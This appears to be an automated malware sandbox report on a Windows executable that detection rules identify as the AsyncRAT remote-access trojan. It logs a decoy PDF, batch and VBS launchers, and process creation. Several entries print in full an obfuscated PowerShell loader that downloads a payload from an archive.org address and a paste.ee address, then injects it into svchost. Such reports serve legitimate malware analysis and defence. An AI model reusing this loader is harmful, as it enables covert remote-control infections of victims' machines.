Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A49E10	0_2_00007FF681A49E10
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819EF570	0_2_00007FF6819EF570
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A09547	0_2_00007FF681A09547
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A76DB0	0_2_00007FF681A76DB0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B22570	0_2_00007FF681B22570
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B2C0F0	0_2_00007FF681B2C0F0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B3F880	0_2_00007FF681B3F880
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B41880	0_2_00007FF681B41880
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A76060	0_2_00007FF681A76060
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B438A0	0_2_00007FF681B438A0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819EF050	0_2_00007FF6819EF050
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B42800	0_2_00007FF681B42800
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A8FF50	0_2_00007FF681A8FF50
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819EBF50	0_2_00007FF6819EBF50
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B00F40	0_2_00007FF681B00F40
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B05740	0_2_00007FF681B05740
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B29FB0	0_2_00007FF681B29FB0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A28740	0_2_00007FF681A28740
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A8BFA0	0_2_00007FF681A8BFA0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B27F60	0_2_00007FF681B27F60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 71_2_00007FF7B39E3292	71_2_00007FF7B39E3292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 125_2_01870B93	125_2_01870B93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 126_2_01030B92	126_2_01030B92

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: String function: 00007FF681B4AC00 appears 214 times
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: String function: 00007FF681B4AD00 appears 124 times

Source: 125.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 113.2.powershell.exe.237b3bb2660.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000007D.00000002.2600075638.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000071.00000002.2463346324.00000237B3BB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 3768, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6320, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8200, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 18.2.powershell.exe.1af2a0cd0e8.1.raw.unpack, State.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.2.powershell.exe.1af2a0cd0e8.1.raw.unpack, ClassTestsList.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.2.powershell.exe.1af2a0cd0e8.1.raw.unpack, ClassTestsList.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 113.2.powershell.exe.237b3bb2660.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@236/134@0/6

Source: privacy_policy.pdf.0.dr	Initial sample: https://copyright.columbia.edu/index.html
Source: privacy_policy.pdf.0.dr	Initial sample: http://copyright.cornell.edu/
Source: privacy_policy.pdf.0.dr	Initial sample: https://creativecommons.org/
Source: privacy_policy.pdf.0.dr	Initial sample: https://drive.google.com/file/d/0BxyQzf2unIzKM0FMZ2pydklwMWc/view
Source: privacy_policy.pdf.0.dr	Initial sample: https://www.bu.edu/academics/policies/intellectual-property-policy/
Source: privacy_policy.pdf.0.dr	Initial sample: http://fairuse.stanford.edu/
Source: privacy_policy.pdf.0.dr	Initial sample: https://ccsearch.creativecommons.org/

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

File created: C:\Users\Public\Documents\privacy_policy.pdf

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8920:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8740:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\mR0UgXYus56nykvx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9012:120:WilError_03

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-09-25 06-36-23-782.log

Jump to behavior

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"

Source: TM3utH2CsU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\TM3utH2CsU.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\TM3utH2CsU.exe "C:\Users\user\Desktop\TM3utH2CsU.exe"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C start C:\Users\Public\Documents\privacy_policy.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Documents\privacy_policy.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1724,i,13391688068409325489,10583059356098987935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /C echo %username%
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""
